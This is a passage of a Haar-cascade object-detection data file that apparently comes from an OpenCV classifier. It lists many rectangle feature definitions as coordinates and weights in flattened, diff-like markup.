<_> + + <_> + 0 0 20 3 -1. + <_> + 0 1 20 1 3. + <_> + + <_> + 13 18 10 6 -1. + <_> + 13 20 10 2 3. + <_> + + <_> + 2 7 6 11 -1. + <_> + 5 7 3 11 2. + <_> + + <_> + 10 14 10 9 -1. + <_> + 10 17 10 3 3. + <_> + + <_> + 8 2 4 9 -1. + <_> + 10 2 2 9 2. + <_> + + <_> + 14 3 10 4 -1. + <_> + 14 3 5 4 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 6 6 3 2. + <_> + 12 9 6 3 2. + <_> + + <_> + 8 8 8 10 -1. + <_> + 12 8 4 5 2. + <_> + 8 13 4 5 2. + <_> + + <_> + 7 4 4 16 -1. + <_> + 7 12 4 8 2. + <_> + + <_> + 8 8 9 4 -1. + <_> + 8 10 9 2 2. + <_> + + <_> + 5 2 14 9 -1. + <_> + 5 5 14 3 3. + <_> + + <_> + 3 16 19 8 -1. + <_> + 3 20 19 4 2. + <_> + + <_> + 0 0 10 8 -1. + <_> + 5 0 5 8 2. + <_> + + <_> + 5 2 16 18 -1. + <_> + 5 2 8 18 2. + <_> + + <_> + 0 11 24 11 -1. + <_> + 8 11 8 11 3. + <_> + + <_> + 3 3 18 5 -1. + <_> + 3 3 9 5 2. + <_> + + <_> + 1 16 18 3 -1. + <_> + 1 17 18 1 3. + <_> + + <_> + 5 17 18 3 -1. + <_> + 5 18 18 1 3. + <_> + + <_> + 1 13 9 6 -1. + <_> + 1 15 9 2 3. + <_> + + <_> + 1 9 23 10 -1. + <_> + 1 14 23 5 2. + <_> + + <_> + 3 7 18 3 -1. + <_> + 3 8 18 1 3. + <_> + + <_> + 6 8 12 3 -1. + <_> + 6 8 6 3 2. + <_> + + <_> + 6 2 3 22 -1. + <_> + 7 2 1 22 3. + <_> + + <_> + 14 17 10 6 -1. + <_> + 14 19 10 2 3. + <_> + + <_> + 1 18 10 6 -1. + <_> + 1 20 10 2 3. + <_> + + <_> + 11 3 6 12 -1. + <_> + 13 3 2 12 3. + <_> + + <_> + 10 6 4 9 -1. + <_> + 12 6 2 9 2. + <_> + + <_> + 11 0 6 9 -1. + <_> + 13 0 2 9 3. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 12 10 9 6 -1. + <_> + 15 10 3 6 3. + <_> + + <_> + 2 11 6 9 -1. + <_> + 5 11 3 9 2. + <_> + + <_> + 14 5 3 19 -1. + <_> + 15 5 1 19 3. + <_> + + <_> + 6 6 9 6 -1. + <_> + 6 8 9 2 3. + <_> + + <_> + 14 5 3 19 -1. + <_> + 15 5 1 19 3. + <_> + + <_> + 0 3 6 9 -1. + <_> + 0 6 6 3 3. + <_> + + <_> + 5 21 18 3 -1. + <_> + 5 22 18 1 3. + <_> + + <_> + 1 10 18 4 -1. + <_> + 7 10 6 4 3. + <_> + + <_> + 13 4 8 10 -1. + <_> + 17 4 4 5 2. + <_> + 13 9 4 5 2. + <_> + + <_> + 7 8 9 6 -1. + <_> + 10 8 3 6 3. + <_> + + <_> + 12 9 9 8 -1. + <_> + 15 9 3 8 3. + <_> + + <_> + 0 6 5 12 -1. + <_> + 0 10 5 4 3. + <_> + + <_> + 7 6 14 6 -1. + <_> + 14 6 7 3 2. + <_> + 7 9 7 3 2. + <_> + + <_> + 7 5 3 19 -1. + <_> + 8 5 1 19 3. + <_> + + <_> + 8 4 15 20 -1. + <_> + 13 4 5 20 3. + <_> + + <_> + 1 4 15 20 -1. + <_> + 6 4 5 20 3. + <_> + + <_> + 13 10 6 6 -1. + <_> + 13 10 3 6 2. + <_> + + <_> + 5 10 6 6 -1. + <_> + 8 10 3 6 2. + <_> + + <_> + 14 2 6 14 -1. + <_> + 17 2 3 7 2. + <_> + 14 9 3 7 2. + <_> + + <_> + 4 2 6 14 -1. + <_> + 4 2 3 7 2. + <_> + 7 9 3 7 2. + <_> + + <_> + 12 4 6 7 -1. + <_> + 12 4 3 7 2. + <_> + + <_> + 9 4 6 9 -1. + <_> + 11 4 2 9 3. + <_> + + <_> + 11 4 8 10 -1. + <_> + 11 4 4 10 2. + <_> + + <_> + 5 4 8 10 -1. + <_> + 9 4 4 10 2. + <_> + + <_> + 8 18 10 6 -1. + <_> + 8 20 10 2 3. + <_> + + <_> + 1 18 21 6 -1. + <_> + 1 20 21 2 3. + <_> + + <_> + 9 2 12 6 -1. + <_> + 9 2 6 6 2. + <_> + + <_> + 3 2 12 6 -1. + <_> + 9 2 6 6 2. + <_> + + <_> + 12 5 12 6 -1. + <_> + 18 5 6 3 2. + <_> + 12 8 6 3 2. + <_> + + <_> + 8 8 6 9 -1. + <_> + 8 11 6 3 3. + <_> + + <_> + 2 7 20 6 -1. + <_> + 2 9 20 2 3. + <_> + + <_> + 0 5 12 6 -1. + <_> + 0 5 6 3 2. + <_> + 6 8 6 3 2. + <_> + + <_> + 14 14 8 10 -1. + <_> + 18 14 4 5 2. + <_> + 14 19 4 5 2. + <_> + + <_> + 2 14 8 10 -1. + <_> + 2 14 4 5 2. + <_> + 6 19 4 5 2. + <_> + + <_> + 2 11 20 13 -1. + <_> + 2 11 10 13 2. + <_> + + <_> + 6 9 12 5 -1. + <_> + 12 9 6 5 2. + <_> + + <_> + 5 6 16 6 -1. + <_> + 13 6 8 3 2. + <_> + 5 9 8 3 2. + <_> + + <_> + 1 19 9 4 -1. + <_> + 1 21 9 2 2. + <_> + + <_> + 7 5 12 5 -1. + <_> + 11 5 4 5 3. + <_> + + <_> + 3 5 14 12 -1. + <_> + 3 5 7 6 2. + <_> + 10 11 7 6 2. + <_> + + <_> + 9 4 9 6 -1. + <_> + 12 4 3 6 3. + <_> + + <_> + 2 6 19 3 -1. + <_> + 2 7 19 1 3. + <_> + + <_> + 18 10 6 9 -1. + <_> + 18 13 6 3 3. + <_> + + <_> + 3 7 18 2 -1. + <_> + 3 8 18 1 2. + <_> + + <_> + 20 2 4 18 -1. + <_> + 22 2 2 9 2. + <_> + 20 11 2 9 2. + <_> + + <_> + 2 18 20 3 -1. + <_> + 2 19 20 1 3. + <_> + + <_> + 1 9 22 3 -1. + <_> + 1 10 22 1 3. + <_> + + <_> + 0 2 4 18 -1. + <_> + 0 2 2 9 2. + <_> + 2 11 2 9 2. + <_> + + <_> + 19 0 4 23 -1. + <_> + 19 0 2 23 2. + <_> + + <_> + 0 3 6 19 -1. + <_> + 3 3 3 19 2. + <_> + + <_> + 18 2 6 9 -1. + <_> + 20 2 2 9 3. + <_> + + <_> + 0 5 10 6 -1. + <_> + 0 7 10 2 3. + <_> + + <_> + 7 0 12 12 -1. + <_> + 13 0 6 6 2. + <_> + 7 6 6 6 2. + <_> + + <_> + 0 3 24 6 -1. + <_> + 0 3 12 3 2. + <_> + 12 6 12 3 2. + <_> + + <_> + 10 14 4 10 -1. + <_> + 10 19 4 5 2. + <_> + + <_> + 8 9 4 15 -1. + <_> + 8 14 4 5 3. + <_> + + <_> + 4 11 17 6 -1. + <_> + 4 14 17 3 2. + <_> + + <_> + 2 5 18 8 -1. + <_> + 2 5 9 4 2. + <_> + 11 9 9 4 2. + <_> + + <_> + 7 6 14 6 -1. + <_> + 14 6 7 3 2. + <_> + 7 9 7 3 2. + <_> + + <_> + 3 6 14 6 -1. + <_> + 3 6 7 3 2. + <_> + 10 9 7 3 2. + <_> + + <_> + 16 5 3 18 -1. + <_> + 17 5 1 18 3. + <_> + + <_> + 5 5 3 18 -1. + <_> + 6 5 1 18 3. + <_> + + <_> + 10 10 14 4 -1. + <_> + 10 12 14 2 2. + <_> + + <_> + 4 10 9 4 -1. + <_> + 4 12 9 2 2. + <_> + + <_> + 2 0 18 9 -1. + <_> + 2 3 18 3 3. + <_> + + <_> + 6 3 12 8 -1. + <_> + 10 3 4 8 3. + <_> + + <_> + 1 1 8 5 -1. + <_> + 5 1 4 5 2. + <_> + + <_> + 12 7 7 8 -1. + <_> + 12 11 7 4 2. + <_> + + <_> + 0 12 22 4 -1. + <_> + 0 14 22 2 2. + <_> + + <_> + 15 6 4 15 -1. + <_> + 15 11 4 5 3. + <_> + + <_> + 5 7 7 8 -1. + <_> + 5 11 7 4 2. + <_> + + <_> + 8 18 9 4 -1. + <_> + 8 20 9 2 2. + <_> + + <_> + 1 2 22 4 -1. + <_> + 1 4 22 2 2. + <_> + + <_> + 17 3 6 17 -1. + <_> + 19 3 2 17 3. + <_> + + <_> + 8 2 8 18 -1. + <_> + 8 11 8 9 2. + <_> + + <_> + 17 0 6 12 -1. + <_> + 20 0 3 6 2. + <_> + 17 6 3 6 2. + <_> + + <_> + 7 0 6 9 -1. + <_> + 9 0 2 9 3. + <_> + + <_> + 15 5 9 12 -1. + <_> + 15 11 9 6 2. + <_> + + <_> + 2 22 18 2 -1. + <_> + 2 23 18 1 2. + <_> + + <_> + 10 10 12 6 -1. + <_> + 16 10 6 3 2. + <_> + 10 13 6 3 2. + <_> + + <_> + 0 1 4 11 -1. + <_> + 2 1 2 11 2. + <_> + + <_> + 20 0 4 10 -1. + <_> + 20 0 2 10 2. + <_> + + <_> + 1 3 6 17 -1. + <_> + 3 3 2 17 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 13 8 9 -1. + <_> + 0 16 8 3 3. + <_> + + <_> + 16 8 6 12 -1. + <_> + 16 12 6 4 3. + <_> + + <_> + 2 8 6 12 -1. + <_> + 2 12 6 4 3. + <_> + + <_> + 10 2 4 15 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 1 5 19 3 -1. + <_> + 1 6 19 1 3. + <_> + + <_> + 11 8 9 7 -1. + <_> + 14 8 3 7 3. + <_> + + <_> + 3 8 12 9 -1. + <_> + 3 11 12 3 3. + <_> + + <_> + 3 6 18 3 -1. + <_> + 3 7 18 1 3. + <_> + + <_> + 10 0 4 12 -1. + <_> + 10 6 4 6 2. + <_> + + <_> + 3 9 18 14 -1. + <_> + 3 9 9 14 2. + <_> + + <_> + 0 0 4 9 -1. + <_> + 2 0 2 9 2. + <_> + + <_> + 12 5 4 18 -1. + <_> + 12 5 2 18 2. + <_> + + <_> + 8 5 4 18 -1. + <_> + 10 5 2 18 2. + <_> + + <_> + 10 5 6 10 -1. + <_> + 12 5 2 10 3. + <_> + + <_> + 9 4 4 11 -1. + <_> + 11 4 2 11 2. + <_> + + <_> + 4 16 18 3 -1. + <_> + 4 17 18 1 3. + <_> + + <_> + 0 16 20 3 -1. + <_> + 0 17 20 1 3. + <_> + + <_> + 9 9 6 12 -1. + <_> + 9 13 6 4 3. + <_> + + <_> + 8 13 8 8 -1. + <_> + 8 17 8 4 2. + <_> + + <_> + 13 10 3 12 -1. + <_> + 13 16 3 6 2. + <_> + + <_> + 5 9 14 14 -1. + <_> + 5 9 7 7 2. + <_> + 12 16 7 7 2. + <_> + + <_> + 0 0 24 10 -1. + <_> + 12 0 12 5 2. + <_> + 0 5 12 5 2. + <_> + + <_> + 1 11 18 2 -1. + <_> + 1 12 18 1 2. + <_> + + <_> + 19 5 5 12 -1. + <_> + 19 9 5 4 3. + <_> + + <_> + 0 5 5 12 -1. + <_> + 0 9 5 4 3. + <_> + + <_> + 16 6 8 18 -1. + <_> + 20 6 4 9 2. + <_> + 16 15 4 9 2. + <_> + + <_> + 0 6 8 18 -1. + <_> + 0 6 4 9 2. + <_> + 4 15 4 9 2. + <_> + + <_> + 12 5 12 12 -1. + <_> + 18 5 6 6 2. + <_> + 12 11 6 6 2. + <_> + + <_> + 7 6 6 9 -1. + <_> + 9 6 2 9 3. + <_> + + <_> + 9 13 6 11 -1. + <_> + 11 13 2 11 3. + <_> + + <_> + 0 5 12 12 -1. + <_> + 0 5 6 6 2. + <_> + 6 11 6 6 2. + <_> + + <_> + 1 2 23 3 -1. + <_> + 1 3 23 1 3. + <_> + + <_> + 1 15 19 3 -1. + <_> + 1 16 19 1 3. + <_> + + <_> + 13 17 11 4 -1. + <_> + 13 19 11 2 2. + <_> + + <_> + 0 13 8 5 -1. + <_> + 4 13 4 5 2. + <_> + + <_> + 12 10 10 4 -1. + <_> + 12 10 5 4 2. + <_> + + <_> + 4 6 9 9 -1. + <_> + 4 9 9 3 3. + <_> + + <_> + 15 14 9 6 -1. + <_> + 15 16 9 2 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 1 14 9 2 3. + <_> + + <_> + 3 10 20 8 -1. + <_> + 13 10 10 4 2. + <_> + 3 14 10 4 2. + <_> + + <_> + 2 0 9 18 -1. + <_> + 5 0 3 18 3. + <_> + + <_> + 13 11 9 10 -1. + <_> + 16 11 3 10 3. + <_> + + <_> + 1 2 8 5 -1. + <_> + 5 2 4 5 2. + <_> + + <_> + 3 4 21 6 -1. + <_> + 10 4 7 6 3. + <_> + + <_> + 7 0 10 14 -1. + <_> + 7 0 5 7 2. + <_> + 12 7 5 7 2. + <_> + + <_> + 12 17 12 4 -1. + <_> + 12 19 12 2 2. + <_> + + <_> + 0 6 23 4 -1. + <_> + 0 8 23 2 2. + <_> + + <_> + 13 10 8 10 -1. + <_> + 17 10 4 5 2. + <_> + 13 15 4 5 2. + <_> + + <_> + 0 16 18 3 -1. + <_> + 0 17 18 1 3. + <_> + + <_> + 15 16 9 4 -1. + <_> + 15 18 9 2 2. + <_> + + <_> + 0 16 9 4 -1. + <_> + 0 18 9 2 2. + <_> + + <_> + 13 11 6 6 -1. + <_> + 13 11 3 6 2. + <_> + + <_> + 5 11 6 6 -1. + <_> + 8 11 3 6 2. + <_> + + <_> + 0 3 24 6 -1. + <_> + 12 3 12 3 2. + <_> + 0 6 12 3 2. + <_> + + <_> + 2 4 18 3 -1. + <_> + 2 5 18 1 3. + <_> + + <_> + 0 0 24 4 -1. + <_> + 12 0 12 2 2. + <_> + 0 2 12 2 2. + <_> + + <_> + 1 16 18 3 -1. + <_> + 1 17 18 1 3. + <_> + + <_> + 15 15 9 6 -1. + <_> + 15 17 9 2 3. + <_> + + <_> + 0 15 9 6 -1. + <_> + 0 17 9 2 3. + <_> + + <_> + 6 17 18 3 -1. + <_> + 6 18 18 1 3. + <_> + + <_> + 8 8 6 10 -1. + <_> + 10 8 2 10 3. + <_> + + <_> + 10 6 6 9 -1. + <_> + 12 6 2 9 3. + <_> + + <_> + 8 8 5 8 -1. + <_> + 8 12 5 4 2. + <_> + + <_> + 12 8 6 8 -1. + <_> + 12 12 6 4 2. + <_> + + <_> + 6 5 6 11 -1. + <_> + 8 5 2 11 3. + <_> + + <_> + 13 6 8 9 -1. + <_> + 13 9 8 3 3. + <_> + + <_> + 1 7 21 6 -1. + <_> + 1 9 21 2 3. + <_> + + <_> + 15 5 3 12 -1. + <_> + 15 11 3 6 2. + <_> + + <_> + 6 9 11 12 -1. + <_> + 6 13 11 4 3. + <_> + + <_> + 13 8 10 8 -1. + <_> + 18 8 5 4 2. + <_> + 13 12 5 4 2. + <_> + + <_> + 5 8 12 3 -1. + <_> + 11 8 6 3 2. + <_> + + <_> + 6 11 18 4 -1. + <_> + 12 11 6 4 3. + <_> + + <_> + 0 0 22 22 -1. + <_> + 0 11 22 11 2. + <_> + + <_> + 11 2 6 8 -1. + <_> + 11 6 6 4 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 10 0 6 9 -1. + <_> + 12 0 2 9 3. + <_> + + <_> + 8 3 6 14 -1. + <_> + 8 3 3 7 2. + <_> + 11 10 3 7 2. + <_> + + <_> + 3 10 18 8 -1. + <_> + 9 10 6 8 3. + <_> + + <_> + 10 0 3 14 -1. + <_> + 10 7 3 7 2. + <_> + + <_> + 4 3 16 20 -1. + <_> + 4 13 16 10 2. + <_> + + <_> + 9 4 6 10 -1. + <_> + 11 4 2 10 3. + <_> + + <_> + 5 0 16 4 -1. + <_> + 5 2 16 2 2. + <_> + + <_> + 2 5 18 4 -1. + <_> + 8 5 6 4 3. + <_> + + <_> + 13 0 6 9 -1. + <_> + 15 0 2 9 3. + <_> + + <_> + 8 4 8 5 -1. + <_> + 12 4 4 5 2. + <_> + + <_> + 12 10 10 4 -1. + <_> + 12 10 5 4 2. + <_> + + <_> + 2 10 10 4 -1. + <_> + 7 10 5 4 2. + <_> + + <_> + 7 11 12 5 -1. + <_> + 11 11 4 5 3. + <_> + + <_> + 3 10 8 10 -1. + <_> + 3 10 4 5 2. + <_> + 7 15 4 5 2. + <_> + + <_> + 11 12 9 8 -1. + <_> + 14 12 3 8 3. + <_> + + <_> + 0 21 24 3 -1. + <_> + 8 21 8 3 3. + <_> + + <_> + 3 20 18 4 -1. + <_> + 9 20 6 4 3. + <_> + + <_> + 1 15 9 6 -1. + <_> + 1 17 9 2 3. + <_> + + <_> + 11 17 10 4 -1. + <_> + 11 19 10 2 2. + <_> + + <_> + 9 12 4 12 -1. + <_> + 9 18 4 6 2. + <_> + + <_> + 9 6 9 6 -1. + <_> + 12 6 3 6 3. + <_> + + <_> + 1 13 6 9 -1. + <_> + 1 16 6 3 3. + <_> + + <_> + 6 16 12 4 -1. + <_> + 6 18 12 2 2. + <_> + + <_> + 1 5 20 3 -1. + <_> + 1 6 20 1 3. + <_> + + <_> + 8 1 9 9 -1. + <_> + 8 4 9 3 3. + <_> + + <_> + 2 19 9 4 -1. + <_> + 2 21 9 2 2. + <_> + + <_> + 11 1 4 18 -1. + <_> + 11 7 4 6 3. + <_> + + <_> + 7 2 8 12 -1. + <_> + 7 2 4 6 2. + <_> + 11 8 4 6 2. + <_> + + <_> + 11 10 9 8 -1. + <_> + 14 10 3 8 3. + <_> + + <_> + 5 11 12 5 -1. + <_> + 9 11 4 5 3. + <_> + + <_> + 11 9 9 6 -1. + <_> + 14 9 3 6 3. + <_> + + <_> + 5 10 6 9 -1. + <_> + 7 10 2 9 3. + <_> + + <_> + 4 7 5 12 -1. + <_> + 4 11 5 4 3. + <_> + + <_> + 2 0 21 6 -1. + <_> + 9 0 7 6 3. + <_> + + <_> + 7 6 10 6 -1. + <_> + 7 8 10 2 3. + <_> + + <_> + 9 0 6 15 -1. + <_> + 11 0 2 15 3. + <_> + + <_> + 2 2 18 2 -1. + <_> + 2 3 18 1 2. + <_> + + <_> + 8 17 8 6 -1. + <_> + 8 20 8 3 2. + <_> + + <_> + 3 0 18 2 -1. + <_> + 3 1 18 1 2. + <_> + + <_> + 8 0 9 6 -1. + <_> + 11 0 3 6 3. + <_> + + <_> + 0 17 18 3 -1. + <_> + 0 18 18 1 3. + <_> + + <_> + 6 7 12 5 -1. + <_> + 10 7 4 5 3. + <_> + + <_> + 0 3 6 9 -1. + <_> + 2 3 2 9 3. + <_> + + <_> + 20 2 4 9 -1. + <_> + 20 2 2 9 2. + <_> + + <_> + 0 2 4 9 -1. + <_> + 2 2 2 9 2. + <_> + + <_> + 0 1 24 4 -1. + <_> + 12 1 12 2 2. + <_> + 0 3 12 2 2. + <_> + + <_> + 0 16 9 6 -1. + <_> + 0 18 9 2 3. + <_> + + <_> + 14 13 9 6 -1. + <_> + 14 15 9 2 3. + <_> + + <_> + 0 15 19 3 -1. + <_> + 0 16 19 1 3. + <_> + + <_> + 1 5 22 12 -1. + <_> + 12 5 11 6 2. + <_> + 1 11 11 6 2. + <_> + + <_> + 5 13 6 6 -1. + <_> + 8 13 3 6 2. + <_> + + <_> + 4 2 20 3 -1. + <_> + 4 3 20 1 3. + <_> + + <_> + 8 14 6 10 -1. + <_> + 10 14 2 10 3. + <_> + + <_> + 6 12 16 6 -1. + <_> + 14 12 8 3 2. + <_> + 6 15 8 3 2. + <_> + + <_> + 2 13 8 9 -1. + <_> + 2 16 8 3 3. + <_> + + <_> + 11 8 6 14 -1. + <_> + 14 8 3 7 2. + <_> + 11 15 3 7 2. + <_> + + <_> + 2 12 16 6 -1. + <_> + 2 12 8 3 2. + <_> + 10 15 8 3 2. + <_> + + <_> + 5 16 16 8 -1. + <_> + 5 20 16 4 2. + <_> + + <_> + 9 1 4 12 -1. + <_> + 9 7 4 6 2. + <_> + + <_> + 8 2 8 10 -1. + <_> + 12 2 4 5 2. + <_> + 8 7 4 5 2. + <_> + + <_> + 6 6 12 6 -1. + <_> + 6 6 6 3 2. + <_> + 12 9 6 3 2. + <_> + + <_> + 10 7 6 9 -1. + <_> + 12 7 2 9 3. + <_> + + <_> + 0 0 8 12 -1. + <_> + 0 0 4 6 2. + <_> + 4 6 4 6 2. + <_> + + <_> + 18 8 6 9 -1. + <_> + 18 11 6 3 3. + <_> + + <_> + 2 12 6 6 -1. + <_> + 5 12 3 6 2. + <_> + + <_> + 3 21 21 3 -1. + <_> + 10 21 7 3 3. + <_> + + <_> + 2 0 16 6 -1. + <_> + 2 3 16 3 2. + <_> + + <_> + 13 6 7 6 -1. + <_> + 13 9 7 3 2. + <_> + + <_> + 6 4 4 14 -1. + <_> + 6 11 4 7 2. + <_> + + <_> + 9 7 6 9 -1. + <_> + 11 7 2 9 3. + <_> + + <_> + 7 8 6 14 -1. + <_> + 7 8 3 7 2. + <_> + 10 15 3 7 2. + <_> + + <_> + 18 8 4 16 -1. + <_> + 18 16 4 8 2. + <_> + + <_> + 9 14 6 10 -1. + <_> + 11 14 2 10 3. + <_> + + <_> + 6 11 12 5 -1. + <_> + 10 11 4 5 3. + <_> + + <_> + 0 12 23 3 -1. + <_> + 0 13 23 1 3. + <_> + + <_> + 13 0 6 12 -1. + <_> + 15 0 2 12 3. + <_> + + <_> + 0 10 12 5 -1. + <_> + 4 10 4 5 3. + <_> + + <_> + 13 2 10 4 -1. + <_> + 13 4 10 2 2. + <_> + + <_> + 5 0 6 12 -1. + <_> + 7 0 2 12 3. + <_> + + <_> + 11 6 9 6 -1. + <_> + 14 6 3 6 3. + <_> + + <_> + 4 6 9 6 -1. + <_> + 7 6 3 6 3. + <_> + + <_> + 6 11 18 13 -1. + <_> + 12 11 6 13 3. + <_> + + <_> + 0 11 18 13 -1. + <_> + 6 11 6 13 3. + <_> + + <_> + 12 16 12 6 -1. + <_> + 16 16 4 6 3. + <_> + + <_> + 0 6 21 3 -1. + <_> + 0 7 21 1 3. + <_> + + <_> + 12 16 12 6 -1. + <_> + 16 16 4 6 3. + <_> + + <_> + 5 7 6 14 -1. + <_> + 5 14 6 7 2. + <_> + + <_> + 5 10 19 2 -1. + <_> + 5 11 19 1 2. + <_> + + <_> + 5 4 14 4 -1. + <_> + 5 6 14 2 2. + <_> + + <_> + 3 18 18 4 -1. + <_> + 9 18 6 4 3. + <_> + + <_> + 7 0 4 9 -1. + <_> + 9 0 2 9 2. + <_> + + <_> + 13 3 11 4 -1. + <_> + 13 5 11 2 2. + <_> + + <_> + 2 0 9 6 -1. + <_> + 5 0 3 6 3. + <_> + + <_> + 19 1 4 23 -1. + <_> + 19 1 2 23 2. + <_> + + <_> + 1 1 4 23 -1. + <_> + 3 1 2 23 2. + <_> + + <_> + 5 16 18 3 -1. + <_> + 5 17 18 1 3. + <_> + + <_> + 0 3 11 4 -1. + <_> + 0 5 11 2 2. + <_> + + <_> + 2 16 20 3 -1. + <_> + 2 17 20 1 3. + <_> + + <_> + 5 3 13 4 -1. + <_> + 5 5 13 2 2. + <_> + + <_> + 1 9 22 15 -1. + <_> + 1 9 11 15 2. + <_> + + <_> + 3 4 14 3 -1. + <_> + 10 4 7 3 2. + <_> + + <_> + 8 7 10 4 -1. + <_> + 8 7 5 4 2. + <_> + + <_> + 6 7 10 4 -1. + <_> + 11 7 5 4 2. + <_> + + <_> + 10 4 6 9 -1. + <_> + 12 4 2 9 3. + <_> + + <_> + 1 12 9 6 -1. + <_> + 4 12 3 6 3. + <_> + + <_> + 8 3 8 10 -1. + <_> + 12 3 4 5 2. + <_> + 8 8 4 5 2. + <_> + + <_> + 3 6 16 6 -1. + <_> + 3 6 8 3 2. + <_> + 11 9 8 3 2. + <_> + + <_> + 5 6 14 6 -1. + <_> + 5 9 14 3 2. + <_> + + <_> + 4 3 9 6 -1. + <_> + 4 5 9 2 3. + <_> + + <_> + 6 3 18 2 -1. + <_> + 6 4 18 1 2. + <_> + + <_> + 7 6 9 6 -1. + <_> + 10 6 3 6 3. + <_> + + <_> + 0 1 24 3 -1. + <_> + 0 2 24 1 3. + <_> + + <_> + 0 17 10 6 -1. + <_> + 0 19 10 2 3. + <_> + + <_> + 3 18 18 3 -1. + <_> + 3 19 18 1 3. + <_> + + <_> + 2 5 6 16 -1. + <_> + 2 5 3 8 2. + <_> + 5 13 3 8 2. + <_> + + <_> + 7 6 11 6 -1. + <_> + 7 8 11 2 3. + <_> + + <_> + 5 2 12 22 -1. + <_> + 5 13 12 11 2. + <_> + + <_> + 10 7 4 10 -1. + <_> + 10 12 4 5 2. + <_> + + <_> + 9 0 4 18 -1. + <_> + 9 6 4 6 3. + <_> + + <_> + 18 8 6 9 -1. + <_> + 18 11 6 3 3. + <_> + + <_> + 4 7 15 10 -1. + <_> + 9 7 5 10 3. + <_> + + <_> + 10 5 6 9 -1. + <_> + 12 5 2 9 3. + <_> + + <_> + 9 9 6 10 -1. + <_> + 11 9 2 10 3. + <_> + + <_> + 11 14 6 10 -1. + <_> + 13 14 2 10 3. + <_> + + <_> + 7 14 6 10 -1. + <_> + 9 14 2 10 3. + <_> + + <_> + 4 8 16 9 -1. + <_> + 4 11 16 3 3. + <_> + + <_> + 2 11 20 3 -1. + <_> + 2 12 20 1 3. + <_> + + <_> + 13 0 4 13 -1. + <_> + 13 0 2 13 2. + <_> + + <_> + 7 0 4 13 -1. + <_> + 9 0 2 13 2. + <_> + + <_> + 3 1 18 7 -1. + <_> + 9 1 6 7 3. + <_> + + <_> + 1 11 6 9 -1. + <_> + 1 14 6 3 3. + <_> + + <_> + 8 18 9 6 -1. + <_> + 8 20 9 2 3. + <_> + + <_> + 3 9 15 6 -1. + <_> + 3 11 15 2 3. + <_> + + <_> + 5 10 19 2 -1. + <_> + 5 11 19 1 2. + <_> + + <_> + 8 6 7 16 -1. + <_> + 8 14 7 8 2. + <_> + + <_> + 9 14 9 6 -1. + <_> + 9 16 9 2 3. + <_> + + <_> + 0 7 8 12 -1. + <_> + 0 11 8 4 3. + <_> + + <_> + 6 4 18 3 -1. + <_> + 6 5 18 1 3. + <_> + + <_> + 0 16 12 6 -1. + <_> + 4 16 4 6 3. + <_> + + <_> + 13 13 9 4 -1. + <_> + 13 15 9 2 2. + <_> + + <_> + 5 8 14 14 -1. + <_> + 5 8 7 7 2. + <_> + 12 15 7 7 2. + <_> + + <_> + 1 16 22 6 -1. + <_> + 12 16 11 3 2. + <_> + 1 19 11 3 2. + <_> + + <_> + 9 0 6 9 -1. + <_> + 11 0 2 9 3. + <_> + + <_> + 9 5 10 10 -1. + <_> + 14 5 5 5 2. + <_> + 9 10 5 5 2. + <_> + + <_> + 5 5 10 10 -1. + <_> + 5 5 5 5 2. + <_> + 10 10 5 5 2. + <_> + + <_> + 4 6 16 6 -1. + <_> + 12 6 8 3 2. + <_> + 4 9 8 3 2. + <_> + + <_> + 0 7 6 9 -1. + <_> + 0 10 6 3 3. + <_> + + <_> + 16 10 8 14 -1. + <_> + 20 10 4 7 2. + <_> + 16 17 4 7 2. + <_> + + <_> + 9 12 6 12 -1. + <_> + 9 18 6 6 2. + <_> + + <_> + 8 10 8 12 -1. + <_> + 12 10 4 6 2. + <_> + 8 16 4 6 2. + <_> + + <_> + 8 0 4 9 -1. + <_> + 10 0 2 9 2. + <_> + + <_> + 10 4 8 16 -1. + <_> + 14 4 4 8 2. + <_> + 10 12 4 8 2. + <_> + + <_> + 7 10 10 6 -1. + <_> + 7 12 10 2 3. + <_> + + <_> + 5 6 14 14 -1. + <_> + 12 6 7 7 2. + <_> + 5 13 7 7 2. + <_> + + <_> + 2 11 20 2 -1. + <_> + 2 12 20 1 2. + <_> + + <_> + 18 8 4 16 -1. + <_> + 18 16 4 8 2. + <_> + + <_> + 1 11 12 10 -1. + <_> + 1 11 6 5 2. + <_> + 7 16 6 5 2. + <_> + + <_> + 6 9 12 4 -1. + <_> + 6 11 12 2 2. + <_> + + <_> + 9 12 6 7 -1. + <_> + 12 12 3 7 2. + <_> + + <_> + 10 4 8 16 -1. + <_> + 14 4 4 8 2. + <_> + 10 12 4 8 2. + <_> + + <_> + 6 4 8 16 -1. + <_> + 6 4 4 8 2. + <_> + 10 12 4 8 2. + <_> + + <_> + 8 9 9 6 -1. + <_> + 11 9 3 6 3. + <_> + + <_> + 1 5 16 12 -1. + <_> + 1 5 8 6 2. + <_> + 9 11 8 6 2. + <_> + + <_> + 9 9 6 8 -1. + <_> + 9 9 3 8 2. + <_> + + <_> + 6 0 3 18 -1. + <_> + 7 0 1 18 3. + <_> + + <_> + 17 9 5 14 -1. + <_> + 17 16 5 7 2. + <_> + + <_> + 2 9 5 14 -1. + <_> + 2 16 5 7 2. + <_> + + <_> + 7 4 10 6 -1. + <_> + 7 7 10 3 2. + <_> + + <_> + 1 3 23 18 -1. + <_> + 1 9 23 6 3. + <_> + + <_> + 1 1 21 3 -1. + <_> + 8 1 7 3 3. + <_> + + <_> + 9 6 6 9 -1. + <_> + 11 6 2 9 3. + <_> + + <_> + 3 18 12 6 -1. + <_> + 3 18 6 3 2. + <_> + 9 21 6 3 2. + <_> + + <_> + 16 8 8 16 -1. + <_> + 20 8 4 8 2. + <_> + 16 16 4 8 2. + <_> + + <_> + 0 19 24 4 -1. + <_> + 8 19 8 4 3. + <_> + + <_> + 16 8 8 16 -1. + <_> + 20 8 4 8 2. + <_> + 16 16 4 8 2. + <_> + + <_> + 0 8 8 16 -1. + <_> + 0 8 4 8 2. + <_> + 4 16 4 8 2. + <_> + + <_> + 8 12 8 10 -1. + <_> + 8 17 8 5 2. + <_> + + <_> + 5 7 5 8 -1. + <_> + 5 11 5 4 2. + <_> + + <_> + 4 1 19 2 -1. + <_> + 4 2 19 1 2. + <_> + + <_> + 0 12 